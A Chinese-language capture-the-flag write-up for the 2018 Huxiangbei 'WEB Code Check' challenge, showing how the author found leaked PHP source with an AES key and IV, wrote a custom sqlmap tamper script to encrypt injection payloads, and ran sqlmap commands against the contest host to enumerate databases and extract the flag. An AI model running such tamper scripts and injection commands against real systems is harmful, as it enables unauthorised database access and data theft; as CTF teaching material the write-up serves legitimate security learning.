2018湖湘杯线上赛某WEB题之SQLMap实践

这次线上赛中,web题目难度偏低,很好做,但体验极差,不知出题人是如何思考的,居然题目直接部署,docker都不起,最尴尬的还是,跑web服务的居然是root用户,23333

赛后听说某大佬已经打到内网,官方wp都拿到了。。。xswl

这次比赛中,某道WEB题存在着SQL注入,并且SQLMap一把梭,对于我等新手来讲,体验极爽,充分提高了日题积极性。但因为以前没怎么用过SQLMap,对SQLMap的理解为零,所以在用SQLMap解题时,还是极为艰难地查了一翻资料。

这道WEB题名为 WEB Code Check ,在题目开放后,大彩笔第一时间进入题目站点,表面一眼看去,看不到什么利用的地方,估尝试着登录进去,随意填写帐号密码,直接就报错了。

Fatal error: Call to a member function fetch_assoc() on a non-object in /usr/share/nginx/html/login.php on line 15

眼看并没有明显的点,点开首页查看源码,突然发现了一个奇怪的地方,首页有一个公告相关的链接,参数是一串奇怪的的id,以多年的经验猜测,此处可能存在着注入,直接拿出了御剑配了100个线程扫了一波

image

在news目录底下发现了源码list.zip文件,下载打开,源码内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
// header('content-type:text/html;charset=utf-8');
// require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-7)!=='hxb2018'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-7);
}
}

$id=decode("b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09");
echo $id;
// $sql="select id,title,content,time from notice where id=$id";
// $info=$link->query($sql);
// $arr=$info->fetch_assoc();
// ?>
// <!DOCTYPE html>
// <html lang="en">
// <head>
// <meta charset="UTF-8">
// <title>X公司HR系统V1.0</title>
// <style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
// </head>
// <body>
// <div class="body">
// <div class="title"><?php echo $arr['title']?></div>
// <div class="content"><?php echo $arr['content']?></div>
// </body>
// </html>

看源码注释部分,明显应该就是SQL注入了,但是由于公告url参数部分使用了加密(看源码可知,应该是AES加密),从源码拿到key和iv向量后,拿出了前几天git clone下来的SQLMap。

Google了一波使用方法:

1
python sqlmap.py -u "http://47.107.164.116:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09" -p id

-u参数指定注入点接口url

-p参数指定注入参数

但此处注入参数id经过加密处理,再次Google了一下SQLMap是如何解决的,从搜索引擎找到的资料显示,可以通过一个自定义的tamper实现对输入参数做自定义的处理。

–tamper参数指定传入参数处理python脚本

由于第一次使用SQLMap,并且未曾使用过tamper,因此,打开了SQLMap目录底下的tamper目录,找到一个自认为最简单的tamper例子 base64encode.py,打开查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload

>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""

return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

从例子中可以看到,关键地方应该是tamper方法的实现,然后cp了一份tamper文件,修改temper方法实现,因为list.php源码中已知道id是经过AES加密后base64两次,并且取得了关键的key、iv,因此在tamper中实现了id的一次AES、两次base64的特殊加密方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from Crypto.Cipher import AES
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING


__priority__ = PRIORITY.LOW


def dependencies():
pass


def tamper(payload, **kwargs):
return aes('ydhaqPQnexoaDuW3', '2018201920202021',payload + 'hxb2018')


def aes(key, iv, text):
obj = AES.new(key, AES.MODE_CBC, iv)
count = len(text)
add = 16 - (count % 16)
text = text + ('\0' * add)
aesRes = obj.encrypt(text)
return base64.b64encode(base64.b64encode(aesRes))

tamper编写完毕,随后执行SQLMap注入

  1. –dbs 参数表示列出所有数据库
1
python sqlmap.py -u "http://47.107.164.116:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09" -p id --tamper=aesbase64encodebase64encode --dbs

随后在注出了所有数据库后,随后列出当前数据库

  1. –current-db 参数列出当前数据库
1
python sqlmap.py -u "http://47.107.164.116:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09" -p id --tamper=aesbase64encodebase64encode --current-db

在得知当前数据库名称后,需要通过指定数据库,并列出所有数据库表

  1. -D 参数指定某个数据库,–tables 参数列出所有数据库表
1
python sqlmap.py -u "http://47.107.164.116:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09" -p id --tamper=aesbase64encodebase64encode -D mozhe_discuz_stormgroup --tables

在得知所有数据库表名称后,通过指定某个表,列出所有的表字段

  1. -T 参数指定某个数据库表,–columns 参数列出所有数据库表字段
1
python sqlmap.py -u "http://47.107.164.116:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09" -p id --tamper=aesbase64encodebase64encode -T notice2 --columns

在得知数据库表每个字段名称后,通过指定字段,dump出所有数据

  1. -C 参数指定字段,多个字段由英文逗号分割, –dump 参数表示dump数据
1
python sqlmap.py -u "http://47.107.164.116:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09" -p id --tamper=aesbase64encodebase64encode -T notice2 -C id,title --columns

最后注出flag:hxb2018{2c964f3ab605aaf469c6280535667076}

此道题大彩笔个人感觉难度不高,但很好的地方是,让我熟悉了SQLMap的简单实践。